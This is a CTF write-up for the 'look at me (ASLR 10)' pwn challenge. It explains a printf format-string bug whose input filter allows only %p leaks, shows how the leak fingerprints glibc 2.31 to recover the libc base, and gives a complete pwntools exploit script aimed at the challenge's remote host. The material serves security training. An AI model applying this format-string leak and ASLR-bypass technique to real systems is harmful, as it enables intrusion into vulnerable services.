look at me (ASLR 10)
look at me (ASLR 10)
Platform: pwn_spbctf | Category: pwn | Type: Challenge | Difficulty: Medium | OS: NA | Author: XESXOR | Date: 2026-06-18 | Status: Solved Techniques: aslr_base_recovery, format_string_leak, libc_fingerprinting, percent_p_stack_leak, value_equality_check
Summary
Task: 64-bit PIE/NX ELF with a printf(user_input) format string but a filter that only allows the chars {%, p, .} — exactly the alphabet of a %p leak. Solution: leak stack with %p.%p..., fingerprint the libc (glibc 2.31 Ubuntu) by matching strtol/fgets/printf offsets, compute base, then submit hex(base+system_offset) to pass the value-equality check that prints /flag.
look at me (ASLR 10) — pwn_spbctf
Description
Куда смотреть-то? Стеки, адреса, библиотеки, слоооожна... ("Where to look? Stacks, addresses, libraries, soooo hard...")
Hints in rodata: "Let's learn how to use https://libc.blukat.me/", "Leak some addresses from the stack and find out a libc version.", "And now enter address of
systemfunction."
Remote pwn challenge (nc 109.233.56.90 11631). A 64-bit x86-64 ELF
(PIE, NX, no canary, Partial RELRO). No libc is provided — you must
identify the exact build from a leak. An alarm(5) in task_init kills slow
sessions, so the exploit must be one fast connection with no sleeps.
Analysis
Reversing the binary (filter @0x11e5, safe_fgets @0x1270,
print_flag @0x12ec, main @0x1363):
main flow:
- Loads GOT values into locals (GLOB_DAT, resolved at load time):
system@0x3fc0,printf@0x3fc8,__libc_start_main@0x3fd0,fgets@0x3fd8,strtol@0x3fe8. safe_fgets(payload @ .bss 0x40c0, 0x40).filter(payload).puts("Hmmm...").printf(payload)— format string vulnerability (user input as format).safe_fgets(buf @ rbp-0x40, 0x20);v = strtol(buf, NULL, 16).- If
v == [0x3fc0](the runtimesystemGOT value) →print_flag()(fopen("/flag"),fgets,printf("Flag: %s")). Elseputs("Nope").
The filter is the key insight. For each character of the payload:
c read-only • copy allowedif (c == '%' || c == 'p' || c == '.') continue; // allowed else { puts("No no no..."); exit(1); } // anything else kills you
This is an allow-list that requires every character to be one of
{'%', 'p', '.'}. That alphabet is exactly what you need for a %p-only
format-string leak — and nothing else (no %s/%x/%n because those letters
are forbidden). The challenge literally hands you the leak primitive while
forbidding write primitives.
Solution
Two stages, one connection (mind the alarm(5)):
Stage 1 — leak the stack and fingerprint the libc
Send %p.%p.%p... (16 of them). The leak line appears after the
"Hmmm...\n" line. Split on . and parse the hex words.
The three GOT values that main saved into locals appear at stable slots
(1-based, relative to slot 15 = __libc_start_main_ret, low 12 bits 0x0b3):
- slot 11 =
strtol - slot 12 =
fgets - slot 13 =
printf
Matching the leaked offsets against candidate libcs uniquely fingerprints the build:
strtol = 0x4bc20
fgets = 0x857b0
printf = 0x64e10 -> Ubuntu glibc 2.31 (system = 0x55410)
(Same build as the sibling "cleaker" task's libc, cleaker_libc-2.31.so.)
Compute base = printf_leak - 0x64e10 and verify it is page-aligned.
Stage 2 — submit the runtime address of system
The program then asks for the address of system. Send
hex(base + 0x55410). strtol(input, 16) then equals the runtime system
GOT entry, so the value-equality check passes and print_flag() dumps
/flag.
python read-only • copy allowed#!/usr/bin/env python3 from pwn import * HOST, PORT = '109.233.56.90', 11631 lib = ELF('cleaker_libc-2.31.so') # Ubuntu glibc 2.31, system=0x55410 io = remote(HOST, PORT) io.recvuntil(b'Payload:') io.sendline(b'.'.join([b'%p']*16)) # only %, p, . pass the allow-list filter io.recvuntil(b'Hmmm...\n') line = io.recvline().decode() def pv(s): s = s.strip() return 0 if s in ('(nil)', '') else int(s, 16) L = [pv(v) for v in line.strip().split('.') if v] base = L[12] - lib.sym['printf'] # slot 13 (1-based) = printf assert base & 0xfff == 0, hex(base) # page-aligned sanity check system = base + lib.sym['system'] # 0x55410 log.success("base %#x system %#x" % (base, system)) io.recvuntil(b'Address (as hex):') io.sendline(hex(system).encode()) # strtol(input,16) == runtime system GOT -> print_flag print(io.recvrepeat(1.5).decode(errors='replace'))